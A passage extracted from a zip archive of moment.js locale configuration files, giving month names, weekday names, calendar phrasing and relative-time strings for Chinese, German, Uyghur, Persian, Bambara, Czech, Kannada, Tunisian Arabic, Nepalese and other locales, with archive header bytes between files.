    weekdaysMin : 'lojmItjaj_DaSjaj_povjaj_ghItlhjaj_loghjaj_buqjaj_ghInjaj'.split('_'),
    longDateFormat : {
        LT : 'HH:mm',
        LTS : 'HH:mm:ss',
        L : 'DD.MM.YYYY',
        LL : 'D MMMM YYYY',
        LLL : 'D MMMM YYYY HH:mm',
        LLLL : 'dddd, D MMMM YYYY HH:mm'
    },
    calendar : {
        sameDay: '[DaHjaj] LT',
        nextDay: '[wa’leS] LT',
        nextWeek: 'LLL',
        lastDay: '[wa’Hu’] LT',
        lastWeek: 'LLL',
        sameElse: 'L'
    },
    relativeTime : {
        future : translateFuture,
        past : translatePast,
        s : 'puS lup',
        ss : translate,
        m : 'wa’ tup',
        mm : translate,
        h : 'wa’ rep',
        hh : translate,
        d : 'wa’ jaj',
        dd : translate,
        M : 'wa’ jar',
        MM : translate,
        y : 'wa’ DIS',
        yy : translate
    },
    dayOfMonthOrdinalParse: /\d{1,2}\./,
    ordinal : '%d.',
    week : {
        dow : 1, // Monday is the first day of the week.
        doy : 4  // The week that contains Jan 4th is the first week of the year.
    }
});
PK.��\$f<X
X
locale/zh-cn.jsnu�[���//! moment.js locale configuration
//! locale : Chinese (China) [zh-cn]
//! author : suupic : https://github.com/suupic
//! author : Zeno Zeng : https://github.com/zenozeng

import moment from '../moment';

export default moment.defineLocale('zh-cn', {
    months : '一月_二月_三月_四月_五月_六月_七月_八月_九月_十月_十一月_十二月'.split('_'),
    monthsShort : '1月_2月_3月_4月_5月_6月_7月_8月_9月_10月_11月_12月'.split('_'),
    weekdays : '星期日_星期一_星期二_星期三_星期四_星期五_星期六'.split('_'),
    weekdaysShort : '周日_周一_周二_周三_周四_周五_周六'.split('_'),
    weekdaysMin : '日_一_二_三_四_五_六'.split('_'),
    longDateFormat : {
        LT : 'HH:mm',
        LTS : 'HH:mm:ss',
        L : 'YYYY/MM/DD',
        LL : 'YYYY年M月D日',
        LLL : 'YYYY年M月D日Ah点mm分',
        LLLL : 'YYYY年M月D日ddddAh点mm分',
        l : 'YYYY/M/D',
        ll : 'YYYY年M月D日',
        lll : 'YYYY年M月D日 HH:mm',
        llll : 'YYYY年M月D日dddd HH:mm'
    },
    meridiemParse: /凌晨|早上|上午|中午|下午|晚上/,
    meridiemHour: function (hour, meridiem) {
        if (hour === 12) {
            hour = 0;
        }
        if (meridiem === '凌晨' || meridiem === '早上' ||
                meridiem === '上午') {
            return hour;
        } else if (meridiem === '下午' || meridiem === '晚上') {
            return hour + 12;
        } else {
            // '中午'
            return hour >= 11 ? hour : hour + 12;
        }
    },
    meridiem : function (hour, minute, isLower) {
        var hm = hour * 100 + minute;
        if (hm < 600) {
            return '凌晨';
        } else if (hm < 900) {
            return '早上';
        } else if (hm < 1130) {
            return '上午';
        } else if (hm < 1230) {
            return '中午';
        } else if (hm < 1800) {
            return '下午';
        } else {
            return '晚上';
        }
    },
    calendar : {
        sameDay : '[今天]LT',
        nextDay : '[明天]LT',
        nextWeek : '[下]ddddLT',
        lastDay : '[昨天]LT',
        lastWeek : '[上]ddddLT',
        sameElse : 'L'
    },
    dayOfMonthOrdinalParse: /\d{1,2}(日|月|周)/,
    ordinal : function (number, period) {
        switch (period) {
            case 'd':
            case 'D':
            case 'DDD':
                return number + '日';
            case 'M':
                return number + '月';
            case 'w':
            case 'W':
                return number + '周';
            default:
                return number;
        }
    },
    relativeTime : {
        future : '%s内',
        past : '%s前',
        s : '几秒',
        ss : '%d 秒',
        m : '1 分钟',
        mm : '%d 分钟',
        h : '1 小时',
        hh : '%d 小时',
        d : '1 天',
        dd : '%d 天',
        M : '1 个月',
        MM : '%d 个月',
        y : '1 年',
        yy : '%d 年'
    },
    week : {
        // GB/T 7408-1994《数据元和交换格式·信息交换·日期和时间表示法》与ISO 8601:1988等效
        dow : 1, // Monday is the first day of the week.
        doy : 4  // The week that contains Jan 4th is the first week of the year.
    }
});
PK.��\�p�	�	�	locale/de.jsnu�[���//! moment.js locale configuration
//! locale : German [de]
//! author : lluchs : https://github.com/lluchs
//! author: Menelion Elensúle: https://github.com/Oire
//! author : Mikolaj Dadela : https://github.com/mik01aj

import moment from '../moment';

function processRelativeTime(number, withoutSuffix, key, isFuture) {
    var format = {
        'm': ['eine Minute', 'einer Minute'],
        'h': ['eine Stunde', 'einer Stunde'],
        'd': ['ein Tag', 'einem Tag'],
        'dd': [number + ' Tage', number + ' Tagen'],
        'M': ['ein Monat', 'einem Monat'],
        'MM': [number + ' Monate', number + ' Monaten'],
        'y': ['ein Jahr', 'einem Jahr'],
        'yy': [number + ' Jahre', number + ' Jahren']
    };
    return withoutSuffix ? format[key][0] : format[key][1];
}

export default moment.defineLocale('de', {
    months : 'Januar_Februar_März_April_Mai_Juni_Juli_August_September_Oktober_November_Dezember'.split('_'),
    monthsShort : 'Jan._Feb._März_Apr._Mai_Juni_Juli_Aug._Sep._Okt._Nov._Dez.'.split('_'),
    monthsParseExact : true,
    weekdays : 'Sonntag_Montag_Dienstag_Mittwoch_Donnerstag_Freitag_Samstag'.split('_'),
    weekdaysShort : 'So._Mo._Di._Mi._Do._Fr._Sa.'.split('_'),
    weekdaysMin : 'So_Mo_Di_Mi_Do_Fr_Sa'.split('_'),
    weekdaysParseExact : true,
    longDateFormat : {
        LT: 'HH:mm',
        LTS: 'HH:mm:ss',
        L : 'DD.MM.YYYY',
        LL : 'D. MMMM YYYY',
        LLL : 'D. MMMM YYYY HH:mm',
        LLLL : 'dddd, D. MMMM YYYY HH:mm'
    },
    calendar : {
        sameDay: '[heute um] LT [Uhr]',
        sameElse: 'L',
        nextDay: '[morgen um] LT [Uhr]',
        nextWeek: 'dddd [um] LT [Uhr]',
        lastDay: '[gestern um] LT [Uhr]',
        lastWeek: '[letzten] dddd [um] LT [Uhr]'
    },
    relativeTime : {
        future : 'in %s',
        past : 'vor %s',
        s : 'ein paar Sekunden',
        ss : '%d Sekunden',
        m : processRelativeTime,
        mm : '%d Minuten',
        h : processRelativeTime,
        hh : '%d Stunden',
        d : processRelativeTime,
        dd : processRelativeTime,
        M : processRelativeTime,
        MM : processRelativeTime,
        y : processRelativeTime,
        yy : processRelativeTime
    },
    dayOfMonthOrdinalParse: /\d{1,2}\./,
    ordinal : '%d.',
    week : {
        dow : 1, // Monday is the first day of the week.
        doy : 4  // The week that contains Jan 4th is the first week of the year.
    }
});
PK.��\��R��locale/ug-cn.jsnu�[���//! moment.js language configuration
//! locale : Uyghur (China) [ug-cn]
//! author: boyaq : https://github.com/boyaq

import moment from '../moment';

export default moment.defineLocale('ug-cn', {
    months: 'يانۋار_فېۋرال_مارت_ئاپرېل_ماي_ئىيۇن_ئىيۇل_ئاۋغۇست_سېنتەبىر_ئۆكتەبىر_نويابىر_دېكابىر'.split(
        '_'
    ),
    monthsShort: 'يانۋار_فېۋرال_مارت_ئاپرېل_ماي_ئىيۇن_ئىيۇل_ئاۋغۇست_سېنتەبىر_ئۆكتەبىر_نويابىر_دېكابىر'.split(
        '_'
    ),
    weekdays: 'يەكشەنبە_دۈشەنبە_سەيشەنبە_چارشەنبە_پەيشەنبە_جۈمە_شەنبە'.split(
        '_'
    ),
    weekdaysShort: 'يە_دۈ_سە_چا_پە_جۈ_شە'.split('_'),
    weekdaysMin: 'يە_دۈ_سە_چا_پە_جۈ_شە'.split('_'),
    longDateFormat: {
        LT: 'HH:mm',
        LTS: 'HH:mm:ss',
        L: 'YYYY-MM-DD',
        LL: 'YYYY-يىلىM-ئاينىڭD-كۈنى',
        LLL: 'YYYY-يىلىM-ئاينىڭD-كۈنى، HH:mm',
        LLLL: 'dddd، YYYY-يىلىM-ئاينىڭD-كۈنى، HH:mm'
    },
    meridiemParse: /يېرىم كېچە|سەھەر|چۈشتىن بۇرۇن|چۈش|چۈشتىن كېيىن|كەچ/,
    meridiemHour: function (hour, meridiem) {
        if (hour === 12) {
            hour = 0;
        }
        if (
            meridiem === 'يېرىم كېچە' ||
            meridiem === 'سەھەر' ||
            meridiem === 'چۈشتىن بۇرۇن'
        ) {
            return hour;
        } else if (meridiem === 'چۈشتىن كېيىن' || meridiem === 'كەچ') {
            return hour + 12;
        } else {
            return hour >= 11 ? hour : hour + 12;
        }
    },
    meridiem: function (hour, minute, isLower) {
        var hm = hour * 100 + minute;
        if (hm < 600) {
            return 'يېرىم كېچە';
        } else if (hm < 900) {
            return 'سەھەر';
        } else if (hm < 1130) {
            return 'چۈشتىن بۇرۇن';
        } else if (hm < 1230) {
            return 'چۈش';
        } else if (hm < 1800) {
            return 'چۈشتىن كېيىن';
        } else {
            return 'كەچ';
        }
    },
    calendar: {
        sameDay: '[بۈگۈن سائەت] LT',
        nextDay: '[ئەتە سائەت] LT',
        nextWeek: '[كېلەركى] dddd [سائەت] LT',
        lastDay: '[تۆنۈگۈن] LT',
        lastWeek: '[ئالدىنقى] dddd [سائەت] LT',
        sameElse: 'L'
    },
    relativeTime: {
        future: '%s كېيىن',
        past: '%s بۇرۇن',
        s: 'نەچچە سېكونت',
        ss: '%d سېكونت',
        m: 'بىر مىنۇت',
        mm: '%d مىنۇت',
        h: 'بىر سائەت',
        hh: '%d سائەت',
        d: 'بىر كۈن',
        dd: '%d كۈن',
        M: 'بىر ئاي',
        MM: '%d ئاي',
        y: 'بىر يىل',
        yy: '%d يىل'
    },

    dayOfMonthOrdinalParse: /\d{1,2}(-كۈنى|-ئاي|-ھەپتە)/,
    ordinal: function (number, period) {
        switch (period) {
            case 'd':
            case 'D':
            case 'DDD':
                return number + '-كۈنى';
            case 'w':
            case 'W':
                return number + '-ھەپتە';
            default:
                return number;
        }
    },
    preparse: function (string) {
        return string.replace(/،/g, ',');
    },
    postformat: function (string) {
        return string.replace(/,/g, '،');
    },
    week: {
        // GB/T 7408-1994《数据元和交换格式·信息交换·日期和时间表示法》与ISO 8601:1988等效
        dow: 1, // Monday is the first day of the week.
        doy: 7 // The week that contains Jan 1st is the first week of the year.
    }
});
PK.��\�B#6--locale/fa.jsnu�[���//! moment.js locale configuration
//! locale : Persian [fa]
//! author : Ebrahim Byagowi : https://github.com/ebraminio

import moment from '../moment';

var symbolMap = {
    '1': '۱',
    '2': '۲',
    '3': '۳',
    '4': '۴',
    '5': '۵',
    '6': '۶',
    '7': '۷',
    '8': '۸',
    '9': '۹',
    '0': '۰'
}, numberMap = {
    '۱': '1',
    '۲': '2',
    '۳': '3',
    '۴': '4',
    '۵': '5',
    '۶': '6',
    '۷': '7',
    '۸': '8',
    '۹': '9',
    '۰': '0'
};

export default moment.defineLocale('fa', {
    months : 'ژانویه_فوریه_مارس_آوریل_مه_ژوئن_ژوئیه_اوت_سپتامبر_اکتبر_نوامبر_دسامبر'.split('_'),
    monthsShort : 'ژانویه_فوریه_مارس_آوریل_مه_ژوئن_ژوئیه_اوت_سپتامبر_اکتبر_نوامبر_دسامبر'.split('_'),
    weekdays : 'یک\u200cشنبه_دوشنبه_سه\u200cشنبه_چهارشنبه_پنج\u200cشنبه_جمعه_شنبه'.split('_'),
    weekdaysShort : 'یک\u200cشنبه_دوشنبه_سه\u200cشنبه_چهارشنبه_پنج\u200cشنبه_جمعه_شنبه'.split('_'),
    weekdaysMin : 'ی_د_س_چ_پ_ج_ش'.split('_'),
    weekdaysParseExact : true,
    longDateFormat : {
        LT : 'HH:mm',
        LTS : 'HH:mm:ss',
        L : 'DD/MM/YYYY',
        LL : 'D MMMM YYYY',
        LLL : 'D MMMM YYYY HH:mm',
        LLLL : 'dddd, D MMMM YYYY HH:mm'
    },
    meridiemParse: /قبل از ظهر|بعد از ظهر/,
    isPM: function (input) {
        return /بعد از ظهر/.test(input);
    },
    meridiem : function (hour, minute, isLower) {
        if (hour < 12) {
            return 'قبل از ظهر';
        } else {
            return 'بعد از ظهر';
        }
    },
    calendar : {
        sameDay : '[امروز ساعت] LT',
        nextDay : '[فردا ساعت] LT',
        nextWeek : 'dddd [ساعت] LT',
        lastDay : '[دیروز ساعت] LT',
        lastWeek : 'dddd [پیش] [ساعت] LT',
        sameElse : 'L'
    },
    relativeTime : {
        future : 'در %s',
        past : '%s پیش',
        s : 'چند ثانیه',
        ss : 'ثانیه d%',
        m : 'یک دقیقه',
        mm : '%d دقیقه',
        h : 'یک ساعت',
        hh : '%d ساعت',
        d : 'یک روز',
        dd : '%d روز',
        M : 'یک ماه',
        MM : '%d ماه',
        y : 'یک سال',
        yy : '%d سال'
    },
    preparse: function (string) {
        return string.replace(/[۰-۹]/g, function (match) {
            return numberMap[match];
        }).replace(/،/g, ',');
    },
    postformat: function (string) {
        return string.replace(/\d/g, function (match) {
            return symbolMap[match];
        }).replace(/,/g, '،');
    },
    dayOfMonthOrdinalParse: /\d{1,2}م/,
    ordinal : '%dم',
    week : {
        dow : 6, // Saturday is the first day of the week.
        doy : 12 // The week that contains Jan 1st is the first week of the year.
    }
});

PK.��\�t'�==locale/bm.jsnu�[���//! moment.js locale configuration
//! locale : Bambara [bm]
//! author : Estelle Comment : https://github.com/estellecomment
// Language contact person : Abdoufata Kane : https://github.com/abdoufata

import moment from '../moment';

export default moment.defineLocale('bm', {
    months : 'Zanwuyekalo_Fewuruyekalo_Marisikalo_Awirilikalo_Mɛkalo_Zuwɛnkalo_Zuluyekalo_Utikalo_Sɛtanburukalo_ɔkutɔburukalo_Nowanburukalo_Desanburukalo'.split('_'),
    monthsShort : 'Zan_Few_Mar_Awi_Mɛ_Zuw_Zul_Uti_Sɛt_ɔku_Now_Des'.split('_'),
    weekdays : 'Kari_Ntɛnɛn_Tarata_Araba_Alamisa_Juma_Sibiri'.split('_'),
    weekdaysShort : 'Kar_Ntɛ_Tar_Ara_Ala_Jum_Sib'.split('_'),
    weekdaysMin : 'Ka_Nt_Ta_Ar_Al_Ju_Si'.split('_'),
    longDateFormat : {
        LT : 'HH:mm',
        LTS : 'HH:mm:ss',
        L : 'DD/MM/YYYY',
        LL : 'MMMM [tile] D [san] YYYY',
        LLL : 'MMMM [tile] D [san] YYYY [lɛrɛ] HH:mm',
        LLLL : 'dddd MMMM [tile] D [san] YYYY [lɛrɛ] HH:mm'
    },
    calendar : {
        sameDay : '[Bi lɛrɛ] LT',
        nextDay : '[Sini lɛrɛ] LT',
        nextWeek : 'dddd [don lɛrɛ] LT',
        lastDay : '[Kunu lɛrɛ] LT',
        lastWeek : 'dddd [tɛmɛnen lɛrɛ] LT',
        sameElse : 'L'
    },
    relativeTime : {
        future : '%s kɔnɔ',
        past : 'a bɛ %s bɔ',
        s : 'sanga dama dama',
        ss : 'sekondi %d',
        m : 'miniti kelen',
        mm : 'miniti %d',
        h : 'lɛrɛ kelen',
        hh : 'lɛrɛ %d',
        d : 'tile kelen',
        dd : 'tile %d',
        M : 'kalo kelen',
        MM : 'kalo %d',
        y : 'san kelen',
        yy : 'san %d'
    },
    week : {
        dow : 1, // Monday is the first day of the week.
        doy : 4  // The week that contains Jan 4th is the first week of the year.
    }
});
PK.��\�2E��locale/cs.jsnu�[���//! moment.js locale configuration
//! locale : Czech [cs]
//! author : petrbela : https://github.com/petrbela

import moment from '../moment';

var months = 'leden_únor_březen_duben_květen_červen_červenec_srpen_září_říjen_listopad_prosinec'.split('_'),
    monthsShort = 'led_úno_bře_dub_kvě_čvn_čvc_srp_zář_říj_lis_pro'.split('_');
function plural(n) {
    return (n > 1) && (n < 5) && (~~(n / 10) !== 1);
}
function translate(number, withoutSuffix, key, isFuture) {
    var result = number + ' ';
    switch (key) {
        case 's':  // a few seconds / in a few seconds / a few seconds ago
            return (withoutSuffix || isFuture) ? 'pár sekund' : 'pár sekundami';
        case 'ss': // 9 seconds / in 9 seconds / 9 seconds ago
            if (withoutSuffix || isFuture) {
                return result + (plural(number) ? 'sekundy' : 'sekund');
            } else {
                return result + 'sekundami';
            }
            break;
        case 'm':  // a minute / in a minute / a minute ago
            return withoutSuffix ? 'minuta' : (isFuture ? 'minutu' : 'minutou');
        case 'mm': // 9 minutes / in 9 minutes / 9 minutes ago
            if (withoutSuffix || isFuture) {
                return result + (plural(number) ? 'minuty' : 'minut');
            } else {
                return result + 'minutami';
            }
            break;
        case 'h':  // an hour / in an hour / an hour ago
            return withoutSuffix ? 'hodina' : (isFuture ? 'hodinu' : 'hodinou');
        case 'hh': // 9 hours / in 9 hours / 9 hours ago
            if (withoutSuffix || isFuture) {
                return result + (plural(number) ? 'hodiny' : 'hodin');
            } else {
                return result + 'hodinami';
            }
            break;
        case 'd':  // a day / in a day / a day ago
            return (withoutSuffix || isFuture) ? 'den' : 'dnem';
        case 'dd': // 9 days / in 9 days / 9 days ago
            if (withoutSuffix || isFuture) {
                return result + (plural(number) ? 'dny' : 'dní');
            } else {
                return result + 'dny';
            }
            break;
        case 'M':  // a month / in a month / a month ago
            return (withoutSuffix || isFuture) ? 'měsíc' : 'měsícem';
        case 'MM': // 9 months / in 9 months / 9 months ago
            if (withoutSuffix || isFuture) {
                return result + (plural(number) ? 'měsíce' : 'měsíců');
            } else {
                return result + 'měsíci';
            }
            break;
        case 'y':  // a year / in a year / a year ago
            return (withoutSuffix || isFuture) ? 'rok' : 'rokem';
        case 'yy': // 9 years / in 9 years / 9 years ago
            if (withoutSuffix || isFuture) {
                return result + (plural(number) ? 'roky' : 'let');
            } else {
                return result + 'lety';
            }
            break;
    }
}

export default moment.defineLocale('cs', {
    months : months,
    monthsShort : monthsShort,
    monthsParse : (function (months, monthsShort) {
        var i, _monthsParse = [];
        for (i = 0; i < 12; i++) {
            // use custom parser to solve problem with July (červenec)
            _monthsParse[i] = new RegExp('^' + months[i] + '$|^' + monthsShort[i] + '$', 'i');
        }
        return _monthsParse;
    }(months, monthsShort)),
    shortMonthsParse : (function (monthsShort) {
        var i, _shortMonthsParse = [];
        for (i = 0; i < 12; i++) {
            _shortMonthsParse[i] = new RegExp('^' + monthsShort[i] + '$', 'i');
        }
        return _shortMonthsParse;
    }(monthsShort)),
    longMonthsParse : (function (months) {
        var i, _longMonthsParse = [];
        for (i = 0; i < 12; i++) {
            _longMonthsParse[i] = new RegExp('^' + months[i] + '$', 'i');
        }
        return _longMonthsParse;
    }(months)),
    weekdays : 'neděle_pondělí_úterý_středa_čtvrtek_pátek_sobota'.split('_'),
    weekdaysShort : 'ne_po_út_st_čt_pá_so'.split('_'),
    weekdaysMin : 'ne_po_út_st_čt_pá_so'.split('_'),
    longDateFormat : {
        LT: 'H:mm',
        LTS : 'H:mm:ss',
        L : 'DD.MM.YYYY',
        LL : 'D. MMMM YYYY',
        LLL : 'D. MMMM YYYY H:mm',
        LLLL : 'dddd D. MMMM YYYY H:mm',
        l : 'D. M. YYYY'
    },
    calendar : {
        sameDay: '[dnes v] LT',
        nextDay: '[zítra v] LT',
        nextWeek: function () {
            switch (this.day()) {
                case 0:
                    return '[v neděli v] LT';
                case 1:
                case 2:
                    return '[v] dddd [v] LT';
                case 3:
                    return '[ve středu v] LT';
                case 4:
                    return '[ve čtvrtek v] LT';
                case 5:
                    return '[v pátek v] LT';
                case 6:
                    return '[v sobotu v] LT';
            }
        },
        lastDay: '[včera v] LT',
        lastWeek: function () {
            switch (this.day()) {
                case 0:
                    return '[minulou neděli v] LT';
                case 1:
                case 2:
                    return '[minulé] dddd [v] LT';
                case 3:
                    return '[minulou středu v] LT';
                case 4:
                case 5:
                    return '[minulý] dddd [v] LT';
                case 6:
                    return '[minulou sobotu v] LT';
            }
        },
        sameElse: 'L'
    },
    relativeTime : {
        future : 'za %s',
        past : 'před %s',
        s : translate,
        ss : translate,
        m : translate,
        mm : translate,
        h : translate,
        hh : translate,
        d : translate,
        dd : translate,
        M : translate,
        MM : translate,
        y : translate,
        yy : translate
    },
    dayOfMonthOrdinalParse : /\d{1,2}\./,
    ordinal : '%d.',
    week : {
        dow : 1, // Monday is the first day of the week.
        doy : 4  // The week that contains Jan 4th is the first week of the year.
    }
});

PK.��\��YS��locale/kn.jsnu�[���//! moment.js locale configuration
//! locale : Kannada [kn]
//! author : Rajeev Naik : https://github.com/rajeevnaikte

import moment from '../moment';

var symbolMap = {
    '1': '೧',
    '2': '೨',
    '3': '೩',
    '4': '೪',
    '5': '೫',
    '6': '೬',
    '7': '೭',
    '8': '೮',
    '9': '೯',
    '0': '೦'
},
numberMap = {
    '೧': '1',
    '೨': '2',
    '೩': '3',
    '೪': '4',
    '೫': '5',
    '೬': '6',
    '೭': '7',
    '೮': '8',
    '೯': '9',
    '೦': '0'
};

export default moment.defineLocale('kn', {
    months : 'ಜನವರಿ_ಫೆಬ್ರವರಿ_ಮಾರ್ಚ್_ಏಪ್ರಿಲ್_ಮೇ_ಜೂನ್_ಜುಲೈ_ಆಗಸ್ಟ್_ಸೆಪ್ಟೆಂಬರ್_ಅಕ್ಟೋಬರ್_ನವೆಂಬರ್_ಡಿಸೆಂಬರ್'.split('_'),
    monthsShort : 'ಜನ_ಫೆಬ್ರ_ಮಾರ್ಚ್_ಏಪ್ರಿಲ್_ಮೇ_ಜೂನ್_ಜುಲೈ_ಆಗಸ್ಟ್_ಸೆಪ್ಟೆಂ_ಅಕ್ಟೋ_ನವೆಂ_ಡಿಸೆಂ'.split('_'),
    monthsParseExact: true,
    weekdays : 'ಭಾನುವಾರ_ಸೋಮವಾರ_ಮಂಗಳವಾರ_ಬುಧವಾರ_ಗುರುವಾರ_ಶುಕ್ರವಾರ_ಶನಿವಾರ'.split('_'),
    weekdaysShort : 'ಭಾನು_ಸೋಮ_ಮಂಗಳ_ಬುಧ_ಗುರು_ಶುಕ್ರ_ಶನಿ'.split('_'),
    weekdaysMin : 'ಭಾ_ಸೋ_ಮಂ_ಬು_ಗು_ಶು_ಶ'.split('_'),
    longDateFormat : {
        LT : 'A h:mm',
        LTS : 'A h:mm:ss',
        L : 'DD/MM/YYYY',
        LL : 'D MMMM YYYY',
        LLL : 'D MMMM YYYY, A h:mm',
        LLLL : 'dddd, D MMMM YYYY, A h:mm'
    },
    calendar : {
        sameDay : '[ಇಂದು] LT',
        nextDay : '[ನಾಳೆ] LT',
        nextWeek : 'dddd, LT',
        lastDay : '[ನಿನ್ನೆ] LT',
        lastWeek : '[ಕೊನೆಯ] dddd, LT',
        sameElse : 'L'
    },
    relativeTime : {
        future : '%s ನಂತರ',
        past : '%s ಹಿಂದೆ',
        s : 'ಕೆಲವು ಕ್ಷಣಗಳು',
        ss : '%d ಸೆಕೆಂಡುಗಳು',
        m : 'ಒಂದು ನಿಮಿಷ',
        mm : '%d ನಿಮಿಷ',
        h : 'ಒಂದು ಗಂಟೆ',
        hh : '%d ಗಂಟೆ',
        d : 'ಒಂದು ದಿನ',
        dd : '%d ದಿನ',
        M : 'ಒಂದು ತಿಂಗಳು',
        MM : '%d ತಿಂಗಳು',
        y : 'ಒಂದು ವರ್ಷ',
        yy : '%d ವರ್ಷ'
    },
    preparse: function (string) {
        return string.replace(/[೧೨೩೪೫೬೭೮೯೦]/g, function (match) {
            return numberMap[match];
        });
    },
    postformat: function (string) {
        return string.replace(/\d/g, function (match) {
            return symbolMap[match];
        });
    },
    meridiemParse: /ರಾತ್ರಿ|ಬೆಳಿಗ್ಗೆ|ಮಧ್ಯಾಹ್ನ|ಸಂಜೆ/,
    meridiemHour : function (hour, meridiem) {
        if (hour === 12) {
            hour = 0;
        }
        if (meridiem === 'ರಾತ್ರಿ') {
            return hour < 4 ? hour : hour + 12;
        } else if (meridiem === 'ಬೆಳಿಗ್ಗೆ') {
            return hour;
        } else if (meridiem === 'ಮಧ್ಯಾಹ್ನ') {
            return hour >= 10 ? hour : hour + 12;
        } else if (meridiem === 'ಸಂಜೆ') {
            return hour + 12;
        }
    },
    meridiem : function (hour, minute, isLower) {
        if (hour < 4) {
            return 'ರಾತ್ರಿ';
        } else if (hour < 10) {
            return 'ಬೆಳಿಗ್ಗೆ';
        } else if (hour < 17) {
            return 'ಮಧ್ಯಾಹ್ನ';
        } else if (hour < 20) {
            return 'ಸಂಜೆ';
        } else {
            return 'ರಾತ್ರಿ';
        }
    },
    dayOfMonthOrdinalParse: /\d{1,2}(ನೇ)/,
    ordinal : function (number) {
        return number + 'ನೇ';
    },
    week : {
        dow : 0, // Sunday is the first day of the week.
        doy : 6  // The week that contains Jan 1st is the first week of the year.
    }
});
PK.��\�����locale/ar-tn.jsnu�[���//! moment.js locale configuration
//! locale  :  Arabic (Tunisia) [ar-tn]
//! author : Nader Toukabri : https://github.com/naderio

import moment from '../moment';

export default moment.defineLocale('ar-tn', {
    months: 'جانفي_فيفري_مارس_أفريل_ماي_جوان_جويلية_أوت_سبتمبر_أكتوبر_نوفمبر_ديسمبر'.split('_'),
    monthsShort: 'جانفي_فيفري_مارس_أفريل_ماي_جوان_جويلية_أوت_سبتمبر_أكتوبر_نوفمبر_ديسمبر'.split('_'),
    weekdays: 'الأحد_الإثنين_الثلاثاء_الأربعاء_الخميس_الجمعة_السبت'.split('_'),
    weekdaysShort: 'أحد_إثنين_ثلاثاء_أربعاء_خميس_جمعة_سبت'.split('_'),
    weekdaysMin: 'ح_ن_ث_ر_خ_ج_س'.split('_'),
    weekdaysParseExact : true,
    longDateFormat: {
        LT: 'HH:mm',
        LTS: 'HH:mm:ss',
        L: 'DD/MM/YYYY',
        LL: 'D MMMM YYYY',
        LLL: 'D MMMM YYYY HH:mm',
        LLLL: 'dddd D MMMM YYYY HH:mm'
    },
    calendar: {
        sameDay: '[اليوم على الساعة] LT',
        nextDay: '[غدا على الساعة] LT',
        nextWeek: 'dddd [على الساعة] LT',
        lastDay: '[أمس على الساعة] LT',
        lastWeek: 'dddd [على الساعة] LT',
        sameElse: 'L'
    },
    relativeTime: {
        future: 'في %s',
        past: 'منذ %s',
        s: 'ثوان',
        ss : '%d ثانية',
        m: 'دقيقة',
        mm: '%d دقائق',
        h: 'ساعة',
        hh: '%d ساعات',
        d: 'يوم',
        dd: '%d أيام',
        M: 'شهر',
        MM: '%d أشهر',
        y: 'سنة',
        yy: '%d سنوات'
    },
    week: {
        dow: 1, // Monday is the first day of the week.
        doy: 4 // The week that contains Jan 4th is the first week of the year.
    }
});

PK.��\�s���locale/ne.jsnu�[���//! moment.js locale configuration
//! locale : Nepalese [ne]
//! author : suvash : https://github.com/suvash

import moment from '../moment';

var symbolMap = {
    '1': '१',
    '2': '२',
    '3': '३',
    '4': '४',
    '5': '५',
    '6': '६',
    '7': '७',
    '8': '८',
    '9': '९',
    '0': '०'
},
numberMap = {
    '१': '1',
    '२': '2',
    '३': '3',
    '४': '4',
    '५': '5',
    '६': '6',
    '७': '7',
    '८': '8',
    '९': '9',
    '०': '0'
};

export default moment.defineLocale('ne', {
    months : 'जनवरी_फेब्रुवरी_मार्च_अप्रिल_मई_जुन_जुलाई_अगष्ट_सेप्टेम्बर_अक्टोबर_नोभेम्बर_डिसेम्बर'.split('_'),
    monthsShort : 'जन._फेब्रु._मार्च_अप्रि._मई_जुन_जुलाई._अग._सेप्ट._अक्टो._नोभे._डिसे.'.split('_'),
    monthsParseExact : true,
    weekdays : 'आइतबार_सोमबार_मङ्गलबार_बुधबार_बिहिबार_शुक्रबार_शनिबार'.split('_'),
    weekdaysShort : 'आइत._सोम._मङ्गल._बुध._बिहि._शुक्र._शनि.'.split('_'),
    weekdaysMin : 'आ._सो._मं._बु._बि._शु._श.'.split('_'),
    weekdaysParseExact : true,
    longDateFormat : {
        LT : 'Aको h:mm बजे',
        LTS : 'Aको h:mm:ss बजे',
        L : 'DD/MM/YYYY',
        LL : 'D MMMM YYYY',
        LLL : 'D MMMM YYYY, Aको h:mm बजे',
        LLLL : 'dddd, D MMMM YYYY, Aको h:mm बजे'
    },
    preparse: function (string) {
        return string.replace(/[१२३४५६७८९०]/g, function (match) {
            return numberMap[match];
        });
    },
    postformat: function (string) {
        return string.replace(/\d/g, function (match) {
            return symbolMap[match];
        });
    },
    meridiemParse: /राति|बिहान|दिउँसो|साँझ/,
    meridiemHour : function (hour, meridiem) {
        if (hour === 12) {
            hour = 0;
        }
        if (meridiem === 'राति') {
            return hour < 4 ? hour : hour + 12;
        } else if (meridiem === 'बिहान') {
            return hour;
        } else if (meridiem === 'दिउँसो') {
            return hour >= 10 ? hour : hour + 12;
        } else if (meridiem === 'साँझ') {
            return hour + 12;
        }
    },
    meridiem : function (hour, minute, isLower) {
        if (hour < 3) {
            return 'राति';
        } else if (hour < 12) {
            return 'बिहान';
        } else if (hour < 16) {
            return 'दिउँसो';
        } else if (hour < 20) {
            return 'साँझ';
        } else {
            return 'राति';
        }
    },
    calendar : {
        sameDay : '[आज] LT',
        nextDay : '[भोलि] LT',
        nextWeek : '[आउँदो] dddd[,] LT',
        lastDay : '[हिजो] LT',
        lastWeek : '[गएको] dddd[,] LT',
        sameElse : 'L'
    },
    relativeTime : {
        future : '%sमा',
        past : '%s अगाडि',
        s : 'केही क्षण',
        ss : '%d सेकेण्ड',
        m : 'एक मिनेट',
        mm : '%d मिनेट',
        h : 'एक घण्टा',
        hh : '%d घण्टा',
        d : 'एक दिन',
        dd : '%d दिन',
        M : 'एक महिना',
        MM : '%d महिना',
        y : 'एक बर्ष',
        yy : '%d बर्ष'
    },
    week : {
        dow : 0, // Sunday is the first day of the week.
        doy : 6  // The week that contains Jan 1st is the first week of the year.
    }
});

PK.��\+6$��locale/mt.jsnu�[���//! moment.js locale configuration
//! locale : Maltese (Malta) [mt]
//! author : Alessandro Maruccia : https://github.com/alesma

import moment from '../moment';

export default moment.defineLocale('mt', {
    months : 'Jannar_Frar_Marzu_April_Mejju_Ġunju_Lulju_Awwissu_Settembru_Ottubru_Novembru_Diċembru'.split('_'),
    monthsShort : 'Jan_Fra_Mar_Apr_Mej_Ġun_Lul_Aww_Set_Ott_Nov_Diċ'.split('_'),
